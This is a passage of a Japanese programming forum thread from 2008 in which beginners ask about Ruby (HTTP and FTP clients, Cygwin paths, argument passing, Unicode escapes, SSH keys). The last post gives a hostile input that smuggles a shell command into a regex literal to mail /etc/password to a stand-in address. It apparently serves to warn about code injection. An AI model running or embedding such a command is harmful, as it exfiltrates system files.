08/01/21 19:51:43
>>148
すばらしいアイディアがあるよ
URLリンク(itpro.nikkeibp.co.jp)

151:デフォルトの名無しさん
08/01/21 20:03:08
>>148
入門書何冊かチェックして
テキストフィルタの話してるのを買って読めばいいよ

152:デフォルトの名無しさん
08/01/21 20:13:18
>>149
テキストエディタの正規表現を使って置換することはできるんですが、プログラミングに関してはパーです
>>150
ああ・・・でも変更を加えたいファイルはテキストベースなんです。
人間が簡単に読めるってのが売りのデータ形式なんで、データそのものを、62進数の文字列に変換 とかっていうのはいただけないです
>>151
わかりました

153:デフォルトの名無しさん
08/01/21 21:05:30
>>150
インデックスを使うっていうだけだよねこれ

154:デフォルトの名無しさん
08/01/21 21:25:14
>>153
もう一度読み返してみたら”それらをファイル名の集合体として別途管理する”って書いてあることに気付きました

155:デフォルトの名無しさん
08/01/21 21:32:54
FS(BTree系)+OSのディレクトリキャッシュで管理するか、
DBMSのテーブル(典型的にはBTree系)+DBMSのキャッシュで
管理するかの違いだけのような気がする

156:デフォルトの名無しさん
08/01/21 21:44:16
>>150
スラドで袋だたきされてる奴だろw

157:デフォルトの名無しさん
08/01/21 21:46:22
技術的には奇特人間大賞みたいなもんで別段問題ないっす
プレスリリースがアホっぽいので話題になってるだけ

158:デフォルトの名無しさん
08/01/21 21:52:33
まぁでも、初心者に勧めるようなもんじゃないな。

159:デフォルトの名無しさん
08/01/21 22:18:02
今ならPythonだな

160:デフォルトの名無しさん
08/01/21 22:21:27
スラドの関連ストーリーがLyee関係になってて
可哀想だった・・・・そこまでひどくはないと思うし・・・・・

161:デフォルトの名無しさん
08/01/21 22:48:06
Ruby検定がコンピュータベースで全国200個所で受験可能に - @IT
URLリンク(www.atmarkit.co.jp)

やったね!

162:デフォルトの名無しさん
08/01/21 22:50:03
松江詣でをする理由が無くなったな

163:デフォルトの名無しさん
08/01/21 22:58:17
Ruby検定なんてあったのか
そんなもん取ってなんの役に立つんだ?

164:デフォルトの名無しさん
08/01/21 23:02:39
そりゃー、おめー、あれだー、現行の幾つか前のバージョンの仕様ならちゃんと理解してた、つーことをだな

165:デフォルトの名無しさん
08/01/21 23:12:17
>>163
面接のときの話のネタになる、ということが言われております

166:デフォルトの名無しさん
08/01/21 23:26:29
とりあえずここは初心者スレだ

167:デフォルトの名無しさん
08/01/22 11:25:47
>>145
ruby-mode って組み込みクラスのメソッド補完とかできないの?
他のモードにはある C-c C-c での実行とか マニュアル表示とかも無理?

168:デフォルトの名無しさん
08/01/22 15:48:50
すみません教えてください。
自分のIPアドレスを知るためのhttpクライアントを作ろうとしています。
普通のページは .get できるのですが、CGIの返してくるものを取れません。
以下のコードです(URLは架空)。

require 'net/http'
Net::HTTP.version_1_2
Net::HTTP.start('URLリンク(YourIP.com)', 80) { |http|
response = http.get('/ip.cgi')
puts response.body
}

169:デフォルトの名無しさん
08/01/22 16:07:10
>>168
require 'open-uri'
html = open('URLリンク(YourIP.com)').read
puts html

open-uriで逆に面倒になることが事前にわかってる場合以外はopen-uri使い続けれ
上記でhtmlが空になる、あるいはopenでエラーが出る場合はCGIが悪い

170:デフォルトの名無しさん
08/01/22 18:14:32
>>156
URLキボンヌ

171:デフォルトの名無しさん
08/01/22 21:08:40
# 最近rubyの質問がすくねえな
>>168
まず、以下の点について答えよ
・そのCGIはお前が書いたモノかどうか
・http.post での結果

172:デフォルトの名無しさん
08/01/22 22:12:18
質問です。

Ruby 1.9以降で正規表現関係はどう変わりますか?
鬼車がどうこうというのは、あちこちで目にするのですが、
具体的な変更点が詳しく分かるサイトとかあれば教えてください。


173:デフォルトの名無しさん
08/01/22 22:50:45
質問です
あるディレクトリにある全てのファイルの中身を見て処理を行いたい場合の定石などありますでしょうか?
自分は

Dir.entries("ディレクトリ名") do |file|
File.open("ディレクトリ名" + file)
なんだかの処理
end
end

とかやっているのですが、いまいちです

Dirでディレクトリ内部のファイル一覧を取得するとどうもStringにしてくれるみたいですが、Fileをうまいこと取得できたりしないのでしょうか?

ついでにCやJavaでインクリメントする場合
value++
とか書きますよね
Rubyだと++はないようですが、どうするのがいいのでしょうか?

よろしくお願いいたします

174:デフォルトの名無しさん
08/01/22 22:52:23
value += 1 とするしかない

175:デフォルトの名無しさん
08/01/22 22:58:41
>>173
Dir.glob("./hoge/*").each do |path|
File.open(path){|f|

}
end

おそらくこれが一番人気
他のDirもPathnameの各メソッドもビミョーに使い勝手が悪い

インクリメントは作者がやだって言ってるので>>174以外の方法はないよ

176:デフォルトの名無しさん
08/01/22 23:08:39
>>174-175
さんくすです

助かりました
参考にさせてもらいます

value+=1はあったのですね
てっきり、+=も無いと思っていたのでvalue = value + 1と書いてましたw


177:デフォルトの名無しさん
08/01/23 00:58:08
>>170
>>150
スラッシュドット ジャパン | データをすべてファイル名扱いにして高速検索を実現?
URLリンク(slashdot.jp)

178:デフォルトの名無しさん
08/01/23 01:01:16
>>177
関連エントリー。アルファブロガーの反応
404 Blog Not Found:ニセ情報科学? - ISSEI
URLリンク(blog.livedoor.jp)

179:デフォルトの名無しさん
08/01/23 09:38:29
>>169
うまくいきました。
ありがとうございます。

>>171
cgiは、とりあえず既存のものです。
読むのがうまくいったので、送る方のcgiも自作するつもり。

.startでSocketErrorになっていました。
http.post は行っていません。

180:デフォルトの名無しさん
08/01/23 09:59:37
>>179
>.startでSocketErrorになっていました。
×Net::HTTP.start('URLリンク(YourIP.com)', 80) { |http|
○Net::HTTP.start('YourIP.com', 80) { |http|

181:デフォルトの名無しさん
08/01/23 10:18:36
そのアルファブロガー(笑)はどうでもいい

182:デフォルトの名無しさん
08/01/23 10:40:38
>>180
御指摘感謝

183:デフォルトの名無しさん
08/01/23 15:45:18
重複順列の中で各要素を必ず最低一つは含むものを生成するコードって効率よく書けます?
下のように書いてみたけど、全重複順列を生成して後でチェックするのはいまいちな感じ。

class Array
  def each_perm(k)
    if k == 1
      each{|x| yield [x]}
    else
      each do |x|
        each_perm(k-1) do |y|
          yield [x]+y
        end
      end
    end
  end
end
k = 5; ary = [1,2,3]
ary.each_perm(k) do |x|
  p x if x.uniq.size == ary.size
end

184:デフォルトの名無しさん
08/01/23 16:15:20
URLリンク(blade.nagaokaut.ac.jp)

irb> a = Array.new
irb> power(3, 5){|x| a.push([1,2,3].values_at(*x))}
irb> p a.size
243

3 個の異なった要素から重複を許して 5 個取り出す重複順列の総数は 3Π5 つまり 3^5 で 243

185:デフォルトの名無しさん
08/01/23 16:54:13
>>184
レスどうも。values_atって初めて見たかも。

やりたかったのは、各要素を最低一つを含むっていうので
[1,2,3]つから5つ取り出した順列だと
[1,1,1,2,3],[1,1,1,3,2],[1,1,2,1,3],,,
という感じのものでした。うーん、閃きそうで閃かない。

186:デフォルトの名無しさん
08/01/23 17:03:57
重複順列を全て生成してから不適なの弾くのがやっぱ素直なんじゃね?

187:デフォルトの名無しさん
08/01/23 17:51:04
>>177-178
そういえばファイルの保護ってファイル名に対してはかからないんだよね。
つまり、データをファイル名に使うことで・・壊れやすくなる。
ファイルサイズを0にするやつは、データを盗まれないようにする方法としては使えるね。
一旦デコードしないとコピーができないから。

企業のページでは
>次世代Web基盤技術
とか言ってるけど、なんでWebなんだろ。
データを取り扱うときに通常のファイル形式にしないといけないはずだが。

>独自のプログラムとデータ構造により、圧倒的なコストパフォーマンスを実現
・・・
ああ、コストパフォーマンスについてはそうかも。
DBMSを使うとそれにライセンス料を払う必要があるが、OS標準の機能なら追加料金がかからない。
・・・
フリーのDB使えばいいけど、遅いって話もなくもないし。


188:デフォルトの名無しさん
08/01/23 18:56:40
スレ違いを理解できない低脳は去ね

189:デフォルトの名無しさん
08/01/23 21:07:53
おい
リファレンスマニュアル検索できなくなってるんだけど
URLリンク(www.ruby-lang.org)

190:デフォルトの名無しさん
08/01/23 21:18:24
マニュアル本体をCGIやめて静的HTMLにしたって聞いたからその関係なんだろう

191:デフォルトの名無しさん
08/01/23 21:31:23
Ruby、かっこわるい

192:デフォルトの名無しさん
08/01/23 21:32:38
検索できないって終わってるなw
つかプログラミング言語の公式サイトが検索アプリもまともに作れないとか

193:デフォルトの名無しさん
08/01/23 21:34:22
e?
オヒサルで検索してる奴なんてこの世に存在するの?

194:デフォルトの名無しさん
08/01/23 21:40:20
ローカルで検索すればいいのにね。

195:デフォルトの名無しさん
08/01/23 21:40:58
Namazuとか使えば簡単にインデックス作れそうだけどな。
俺が暇になったときにまだ検索できないようなら作ってみよ

196:デフォルトの名無しさん
08/01/23 21:45:15
トップページには検索機能があるが、Radiantで管理してる部分だけの
対応みたいだな。
リファレンスはやっつけで静的HTML化したからカバーしてない(つーか
忘れてるだろ、おそらく)んだろうな。


197:デフォルトの名無しさん
08/01/23 22:35:23
VisualuRubyって今だに開発続いてるの?
RADっぽいお手軽開発環境探してるんだけどやっぱしないかなぁ?

198:デフォルトの名無しさん
08/01/23 23:11:49
Ruby使いって低脳多いんだな
いちいち全PCにマニュアルインスコしてられっかよwwwwww

199:デフォルトの名無しさん
08/01/23 23:21:11
ActiveRubyのアイコンが気に入らないので
XP風の普通のRubyファイル用のアイコンを探しています。
Perl用とかC用とかも有ればベストなのですが、
オーソドックスな普通のアイコンはありませんか?

200:デフォルトの名無しさん
08/01/23 23:22:42
何がどうオーソドックスなんだ…

201:デフォルトの名無しさん
08/01/23 23:29:42
site:ruby-lang.org
オプションをつけてGoogle検索すればいいだけじゃね?

202:デフォルトの名無しさん
08/01/23 23:46:33
Ruby Iconで検索するとそこそこのが見つかる

203:デフォルトの名無しさん
08/01/24 10:48:55
ftpを試みていますが、うまくいきません。

require 'net/ftp'
ftp = Net::FTP::open("qwerty.com",'user','****')
puts ftp.status # OK
puts ftp.nlst # NG
ftp.close

以上のコードで status は実行するのですが nlst でエラーになります。
御意見いただけませんでしょうか。

204:デフォルトの名無しさん
08/01/24 11:05:00
ただエラーって言われてもねえ

205:デフォルトの名無しさん
08/01/24 11:27:56
>>204
オーソドックスなFTPで ls と手入力するとファイルリストを見られるのですが、Rubyでは以下のエラーになります。

c:/ruby/lib/ruby/1.8/net/ftp.rb:241:in `getresp': 425 Failed to establish connec
tion. (Net::FTPTempError)
from c:/ruby/lib/ruby/1.8/net/ftp.rb:264:in `sendcmd'
from c:/ruby/lib/ruby/1.8/monitor.rb:242:in `synchronize'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:262:in `sendcmd'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:336:in `transfercmd'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:421:in `retrlines'
from c:/ruby/lib/ruby/1.8/monitor.rb:242:in `synchronize'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:419:in `retrlines'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:609:in `nlst'
from ftp_up$.rb:5

dir も同様です。

206:デフォルトの名無しさん
08/01/24 11:30:29
NATの内側にいてパッシブモードでないとか?

207:デフォルトの名無しさん
08/01/24 11:39:57
FTPのエラーコードがわかれば瞬殺だな
Rubyの出す例外はきちんと書こうぜ


>>206
んだなす
ftp.passive=trueしたあとにコマンド実行させれば動くはず

208:デフォルトの名無しさん
08/01/24 13:36:59
>>206,207
passive=true にしてみましたがダメでした。
以下はstatus表示後のエラー表示です。

c:/ruby/lib/ruby/1.8/net/ftp.rb:159:in `initialize': 接続済みの呼び出し先が一定
の時間を過ぎても正しく応答しなかったため、接続できませんでした。または接続済みの
ホストが応答しなかったため、確立された接続は失敗しました。 - connect(2) (Errno::
ETIMEDOUT)
from c:/ruby/lib/ruby/1.8/net/ftp.rb:159:in `open'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:159:in `open_socket'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:317:in `transfercmd'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:421:in `retrlines'
from c:/ruby/lib/ruby/1.8/monitor.rb:242:in `synchronize'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:419:in `retrlines'
from c:/ruby/lib/ruby/1.8/net/ftp.rb:609:in `nlst'
from ftp_up$.rb:9

exec で ftp 呼んで実行手順をファイルで渡すことにします。
御指導ありがとうございました。

209:デフォルトの名無しさん
08/01/24 20:58:18
ASCII-8BIT ってなんですか?

210:デフォルトの名無しさん
08/01/24 21:10:30
>>209
このスレではまだしばらくは縁のない言葉です。

211:デフォルトの名無しさん
08/01/24 23:24:09
これから正規表現を書き溜めていく気マソマソ
どうせなら鬼車に乗りたいので
早く1.9系安定してくだされぇ~!

を言い訳に作業をサボる自分・・・ヨワッ

212:デフォルトの名無しさん
08/01/25 01:49:10
すみませんが、質問です。

open パス名 do |file|
例外発生
end
となった場合、オープンされたファイルは自動的にクローズされるのでしょうか?


213:デフォルトの名無しさん
08/01/25 02:14:22
ブロック付きopenは、
begin
open
付いてきたブロックであれこれ作業
ensure
close
end
という意味。ensureは例外になろうがなるまいが実行されるよ。


214:デフォルトの名無しさん
08/01/25 02:19:42
>>213
ありがとうございます。これで安心して作業ができます。


215:デフォルトの名無しさん
08/01/25 04:28:52
すみません。
C++で書かれたプログラムをrubyに移植しているのですが、参照で困りました。
RubyにはC++でいう参照はありますか。
それもクラスインスタンスではなくint等の組み込み型を参照として渡すことはできますか。

216:デフォルトの名無しさん
08/01/25 05:48:31
Rubyでは、数値とSymbol以外はすべて参照

217:デフォルトの名無しさん
08/01/25 05:53:26
引数の参照渡しのことかも。
それは確かできなかったはず

218:デフォルトの名無しさん
08/01/25 06:12:03
>>215
>int等の組み込み型を参照として渡すことはできますか。
integerやfloatはできない。それ以外はすべて参照。
引数の参照渡しのことなら、できない。
まず具体的にどんなことがしたいかをプログラムで書いてみて。

219:デフォルトの名無しさん
08/01/25 06:29:21
>>218
簡単に説明しますと、オブジェクト内部で条件が真のときに引数の参照に値を代入し、boolで関数の結果を返す関数です。

bool Hoge::GetData(int condition,float &buffer)
{
if(condition == this->condition)
{
buffer = this->my_float_value;
return true;
}
return false;
}


220:デフォルトの名無しさん
08/01/25 07:05:58
>219
・関数が失敗の場合は、例外を返せば良い
・Rubyのメソッドは複数の値を返せる(return a, b とすれば a, b = get_data() で受け取れる)
・bufferがオブジェクトの一部分なら、オブジェクト自体を渡す選択肢も
・配列として受け渡しすれば、擬似的な参照渡しになる
お好きなのをどうぞ。

221:デフォルトの名無しさん
08/01/25 07:13:09
Ruby的には条件が真なら数値を、偽ならnilを返すようにするとかっこいいよね
戻り値がnilか否かをチェックすれば真偽をチェックしたことになるから

222:デフォルトの名無しさん
08/01/25 07:19:09
>>220-221
なるほど。
ありがとうございました。

223:デフォルトの名無しさん
08/01/25 07:26:32
すみません
同じ値のはずの2つのstringオブジェクトを==で比べると、なぜかfalseが返ってきます。
デバッグで見ても、2つのオブジェクトは全く同じ値でした。
どこか処理がまずくてスタックが壊れてるのでしょうか?

224:デフォルトの名無しさん
08/01/25 07:32:44
>223
JavaじゃなくてRubyの話なんだよな?

p 変数

で見ても全く同じ?

225:デフォルトの名無しさん
08/01/25 07:39:37
はい。同じでした。

if str1 == str2
return;
end

p str1 + " " + str2

このようなコードなのですが、if文でリターンせずにpによって 「同じ文字 半角スペース 同じ文字」 が表示されました。

226:デフォルトの名無しさん
08/01/25 07:55:25
+で結合せずに、どういう出力が出るか試してみ

p str1
p str2
p str1.class
p str2.class

あとRubyのバージョンを書いて

227:デフォルトの名無しさん
08/01/25 08:00:09
どうもすみません。
結果です。



String
String

と表示されました。
バージョンは1.8.1です。

228:デフォルトの名無しさん
08/01/25 08:20:26
1.8.1で文字列もクラスも同じ……となると、原因が全く分からないな
あとはコード全体を見ないことには

229:デフォルトの名無しさん
08/01/25 09:02:14
>>227
"あ"
ではなく

と表示されたのなら問題ないんじゃね

230:デフォルトの名無しさん
08/01/25 09:14:01
>>228
URLリンク(gonzo.dip.jp)
アップしました。
見辛くて申し訳ありません。
なにかトンチンカンなことをやってバグを誘発しているのでしょうか(><)

231:230
08/01/25 09:14:26
DLkeyはrubycsvです。


232:デフォルトの名無しさん
08/01/25 09:15:08
>>221
0が真になるのは良いとして
falseも真という意味ですよね
nilだけが偽と

233:230
08/01/25 09:27:04
ソースに誤植がありました
× check( i , GetElementString( i , "通常" , n ) );
○ check( i , GetElementString( i , "通常ポーズ" , n ) );

234:デフォルトの名無しさん
08/01/25 09:35:34
…。全角空白混じってるしトップレベルのmainを実行してる場所がないぞ。


で、41行目の
> if( elem_name.to_s == @definition_names[i].to_s )
で、同じデータのはずなのにfalseが返ることがあるという質問でいい?

235:デフォルトの名無しさん
08/01/25 09:37:50
>>234
すみません全角混じっていましたか。
質問は全くその通りです。

236:デフォルトの名無しさん
08/01/25 09:54:58
ifにelseを追加してみる。つまりfalseのときにelem_nameと@definition_names[i]を表示させてみる
else
print "[ #{elem_name} <=> #{@definition_names[i]}] "
結果を整形してみる

[ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡]
[ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃]
[ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃]
[ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡]
[ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利]
[ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡]
[ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃]
[ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃]
[ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡]
[ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利]

ということで同じ文字はないよ。csvデータはUTF-8なんだけどスクリプト本体のほうはUTF-8なの?
アップロードのときにミスったんだと思ってたけど、もしこのままならスクリプトはShiftJISになってるよ

237:デフォルトの名無しさん
08/01/25 10:38:17
>>236
お手数おかけしました。
ということは、コードの問題ではなくて、環境固有の問題なのでしょうか。
実は実行環境はRPGツクールVXなのです。
こちらの環境ではelseで付け加えて値を見ると、同じ文字の組み合わせがありました。
ツクール内部で呼び出しているので、通常の環境とは異なっているのかもしれませんね。

238:デフォルトの名無しさん
08/01/25 12:33:45
すみませんが、Cygwin上でRubyをお使いの方に質問です。

ディレクトリからファイル名のリストを取得し、WIN32OLE 経由で MS-Word の
COMコンポーネントに一つずつ渡そうとしています。

Wordに与えるファイル名は絶対パスである必要があるようなので、個々のファ
イル名にFile.expand_path を適用してから渡しています。

ところが、File.expand_path の戻り値が /cygdrive/c/... や、/home/ユーザ
名 になってしまうのです。もちろん Word が必要としているのは C:\ で始ま
るパスなので、Wordがファイルを開くことができません。

File.expand_path(ファイル名).gsub(%r!^/cygdrive/c/!, "C:/").gsub(%r!/home/!, "/C:/cygwin")

とやれば何とかなりますが、どうも不恰好です。もっと良い方法はないでしょ
うか?




239:デフォルトの名無しさん
08/01/25 12:43:09
cygpath -d /cygdrive/c

240:デフォルトの名無しさん
08/01/25 12:44:27
$ cygpath -w '/cygdrive/c/program files'
c:\program files

$ cygpath -d '/cygdrive/c/program files'
c:\PROGRA~1

241:デフォルトの名無しさん
08/01/25 12:50:17
>>238
まあcygwinのシステムに乗っかってる以上根本的にはどうしようもない
WindowsアプリケーションとしてのRuby使え

C:\Documents and Settings\俺\デスクトップ\新しいフォルダ>ruby -e 'puts File.expand_path("csvloader.txt")'
C:/Documents and Settings/俺/デスクトップ/新しいフォルダ/csvloader.txt

242:デフォルトの名無しさん
08/01/25 12:54:58
>>232
>0が真になるのは良いとして
>falseも真という意味ですよね
>nilだけが偽と

うんにゃ。nilとfalseが偽と見なされる。
成功したときは数値を返し、失敗したときはnilを返す。falseは返さない。
これでいいじゃん?


243:デフォルトの名無しさん
08/01/25 12:57:12
正規表現目当てでRubyに挑戦中
str1=str2
でなく
str1=str2.dup
と書かなきゃコピーにならんとこは
わたしのような初心者にはドエライ罠だったんですけど・・・

244:デフォルトの名無しさん
08/01/25 13:09:18
>>243
「明示的な複製」が自力で必要な場面は意外と少ないんだ
データを返す組み込みクラスのメソッドの多くは結果を複製して返す
知らないとどこかで絶対に一度は嵌るが、知ってしまうと意外とそうでもない

>>242
falseは(Rubyには型としては無いけど)booleanで使うといいよね
nilはそれ以外の「空」とか「無し」とか
「失敗」をfalseにするかnilにするかは若干迷うけど、「成功」がtrueという値になると思えるならfalseだな

if文ではfalseもnilもelseに行くから深く考えなくてもいいし

245:238
08/01/25 13:13:23
皆さん、ありがとうございます。

>>239->>240
wdoc = wordOLEObject.Documents.open `cygpath -w #{File.expand_path 'Readme'}`
こんな感じでしょうか?

これだと、今度は逆にCygwin以外のWindows環境では動きません。環境の判別法
ははないものでしょうか?
欲を言えば、分岐なしでどちらの環境でも動くならありがたいのですが。

>>241
Cygwin版のRubyと共存させるわけですか...。それも一つの手だなあ。
ActiveScriptRuby 使いたいし。
ただ、環境が安定するかどうかが不安です。


246:デフォルトの名無しさん
08/01/25 14:03:12
>>245
環境の判別はRUBY_PLATFORMで。
分岐なしで動くようにするのは無理。
強いて言えば238で自分で書いてるのが分岐なしで動くようにする方法になるのかもしれんが。

247:デフォルトの名無しさん
08/01/25 14:05:07
> 分岐なしで
どこをどう作っても内部的には分岐使ってる
気にすんな

248:デフォルトの名無しさん
08/01/25 14:16:30
最初は抵抗あるけど、サブルーチンだと割り切ってメソッドに切り分ければ
あ~ら不思議あら不思議

249:デフォルトの名無しさん
08/01/25 14:19:51
あえてCygwin版を使うメリットって何?
Cygwin環境で閉じた使い方をする分にはパス周りのトラブルが少ないのから?

250:デフォルトの名無しさん
08/01/25 14:22:48
昔は全部Cygwinでないとどうにもならなかったんだよ
5年くらい前の話

251:デフォルトの名無しさん
08/01/25 15:09:02
>>250
つまり、今はそうでもないってこと?

252:238
08/01/25 15:09:49
みなさん、再度ありがとうございます。

結局、通常のWindows版のRubyを入れて、絶対パスで呼び出すようにしました。
"/cygdrive/c/program Files/ruby-1.8/bin/ruby.exe" ...
これで問題なく、Cygwinからでも呼び出せました。

ただ厳密には、CygwinのコンソールでEmacs22を起動し、その中のeshellでで
す。Emacsの通常のshellモードでは、表示が少しおかしいようです。

>>246
> 分岐なしで動くようにするのは無理。
そうですか...。それは仕方ありませんね。

>>249
> あえてCygwin版を使うメリットって何?
単純に、Cygwin環境でデフォルトで呼び出されるのがそれだからです。
またPythonが、通常のWindows版はCygwin環境と相性が良くなかったのです。
(対話コンソールをCygwin環境で呼び出すと、画面に何も出ない)
だからRubyもWindows版を使うのは避けていました。

ちなみにこのやり取りも Cygwin Emacs22のNavi2chでやっております。
Linux機もあるのですが、Cygwinにはいろいろ便利なことがあるので。


253:デフォルトの名無しさん
08/01/25 17:01:18
ソースさらすなら、バグが発生する最小限のソースをうpしようよ・・・

254:デフォルトの名無しさん
08/01/25 18:35:50
>>253
一部をアップした結果「その部分だけでは分からない」と言われたんだろ?
そういうときはファイルそのものをアップしてもらった方が手っ取り早い
特に初心者には、どこがどこに影響を及ぼしてるのか、簡単には分からないんだから

255:デフォルトの名無しさん
08/01/25 21:41:18
>>252
こーゆーので我慢する、もしくは(cygwin|windows)を捨てる
def cygpath(opt,path) ; return `cygpath #{opt} #{File.expand_path(path)}` ; end
def winpath(path)
 path = File.expand_path(path)
 if RUBY_PLATFORM =~ /cygwin/ # ? cygwin 環境と一致する奴
  # return `cygpath -w #{path}`
  return path.sub(%r!^/cygdrive/(.)/!, '\1:/').sub(%r!^/home/!, 'c:/cygwin/')
 end
 return path
end

256:デフォルトの名無しさん
08/01/26 10:14:26
arr.each{|i|
 puts i
 i-=2 if gets == "prev" # 逆方向に進ませたい!
}

みたいな事やろうと思ったらwhileと自前の変数でやるしかないんですかね。


257:デフォルトの名無しさん
08/01/26 10:18:40
>>256
残念ながら、自前で書かないと出来ないですね。

# 外部イテレータが欲しい。

258:デフォルトの名無しさん
08/01/26 10:27:29
continue -2
とかできたらいいのに。

259:デフォルトの名無しさん
08/01/26 10:27:50
ああ、Ruby だと next だ。

260:デフォルトの名無しさん
08/01/26 12:38:23
>>145
遅レスだが、なんでrubydb使ってないの?
エラー行へのジャンプも普通にあるよ?
んでもって、refe.elとか使えばEmacs上でヘルプも見れる

もし、*nix環境ならfastRI入れてri-ruby.el入れるといいんじゃない?
↑はSoftware Design2月号のEmacs特集の受け売りで
俺はWin環境でMeadowだから使ってないけど

261:デフォルトの名無しさん
08/01/26 12:42:42
>>252
WSHのFileSystemObjectを使うのが常套手段
URLリンク(jp.rubyist.net)

262:デフォルトの名無しさん
08/01/26 13:28:37
Emacsの有名どころではruby-electric.elがあるがこれがまた動作が微妙
導入時は喜ばれるが1週間くらいして無言で外されることで有名

263:デフォルトの名無しさん
08/01/26 14:52:22
中括弧とdo~endぐらいならいいんじゃない?
それぐらいなら手で打てってことかもしれんが

Meadowでxmpfilter使っている人います?
cmdproxy.exeで試したんだけど、スクリプト評価後にプロンプトや
ロゴ表示が残ってしまってションボリな感じ



264:デフォルトの名無しさん
08/01/26 18:57:37
Net::SSH.startで:password   => 'mypassword'としパスフレーズを指定してるのですが
実行時に"Enter password for /home/localuser/.ssh/id_rsa:"とでて入力を要求されます

#!/usr/bin/env ruby
require 'rubygems'
require 'net/ssh'

Net::SSH.start(
 '192.168.11.3',
 :username  => 'remoteuser',
 :password  => 'mypassword' ) do | session |

 session.process.popen3('echo "Hello"') do |i, o, e|
  STDOUT << o.read << "\n"
 end
end

実行時にパスフレーズを要求されないようにするにはどうのようにすればよいですか?

265:デフォルトの名無しさん
08/01/26 20:12:24
passphraseではなくpasswordなので、これはパスワード認証
のためのログインパスワードであって、秘密鍵ファイルを読むための
パスフレーズではないのでは?

でもって、
Public/private keys are always tried before the explicit password authentication, even if you provide a password.
(URLリンク(net-ssh.rubyforge.org))

なので、公開鍵認証が行われている、と。

パスフレーズのほうは、空にするか、ssh-agentとかにお任せすることになるのではないでしょうか。


266:264
08/01/26 21:59:13
>>265 ありがとうございます
ssh-agent初めて知りました

267:デフォルトの名無しさん
08/01/26 22:27:33
unicodeを表すのに、Javaとかでよく使われている ¥uXXXX という表現方法がありますが
これをRubyでデコードするにはどうしたらいいですか。
つまり '¥uXXXX' からunicode文字を得たいです。

268:デフォルトの名無しさん
08/01/26 22:34:21
str.gsub(/¥¥u((?:[¥da-f]{2}){1,6})/) { [ $1.hex ].pack('U') }


269:デフォルトの名無しさん
08/01/26 22:38:37
>>267
>>268 でいいと思うけど、後ならnkfを使うかな

270:デフォルトの名無しさん
08/01/26 22:42:46
>>268
仕組みがさっぱりわからないので、参考になるページがあれば教えてください。

271:デフォルトの名無しさん
08/01/26 22:57:30
普通に定義そのまんまだな
Unicodeの解説とか読めばいいんじゃね

272:デフォルトの名無しさん
08/01/26 23:00:34
>>270
Rubyコード的には、
¥uXXXXのXXXX部分(文字列)を16進数に変換してpack('U')でUnicode文字にしてる。


273:デフォルトの名無しさん
08/01/26 23:10:01
正規表現が極力正確なマッチになるように書かれてるから難しく見えるんだと思う

274:デフォルトの名無しさん
08/01/26 23:15:14
ぶっちゃけ /¥¥u([0-9a-f]+)/ あたりのほうがみやすくて実用的かもな。


275:デフォルトの名無しさん
08/01/26 23:19:22
>>272
逐語的に訳すとこんな感じ?
"\u"より後に続く数字またはa, b, c, d, e, fの2文字の組を
1個から6個ずつまとめてから16進数に変換する

Rubyリファレンスマニュアルの正規表現のページと見比べてみりゃ
なんとなくわかるんじゃない?


276:デフォルトの名無しさん
08/01/26 23:29:49
UTF-8の変換式は6オクテットまで規定されてるけど、
Unicode文字がそこまで定義されてないから実質的には
4オクテットまで考慮すればいいみたいね。


277:デフォルトの名無しさん
08/01/26 23:32:20
この安易な判断が20年後大問題を引き起こすとは
神ならぬ>>276には思い至ることすらできなかったのであった

278:デフォルトの名無しさん
08/01/27 00:09:27
もしそうなっても、その前にUTF16連中がさらに大問題をひきおこすから大丈夫。

279:デフォルトの名無しさん
08/01/27 00:50:46
>>267
小飼が自分で作ったツールを自慢するためにBlogでRuby用のサンプルを書いてたきがする。

280:デフォルトの名無しさん
08/01/27 10:53:26
検索用の文字列をユーザーに入力させたいんですが
1. りんご  なら単純な部分一致
2. *.jpg   ならワイルドカード
3. /\d+/  なら正規表現
としたいんですが一番下は1.の/home/のようなパス指定と区別がつきません。
正規表現を表す文字列で他に一般的な表記はないんでしょうか?

281:デフォルトの名無しさん
08/01/27 11:20:41
俺なら、 '\' によるエスケープを仕様に導入して、パス指定は \/home\/ と書かせる。

282:デフォルトの名無しさん
08/01/27 13:04:12
/hoge#{`mail badguy@example.com < /etc/password`}huga/
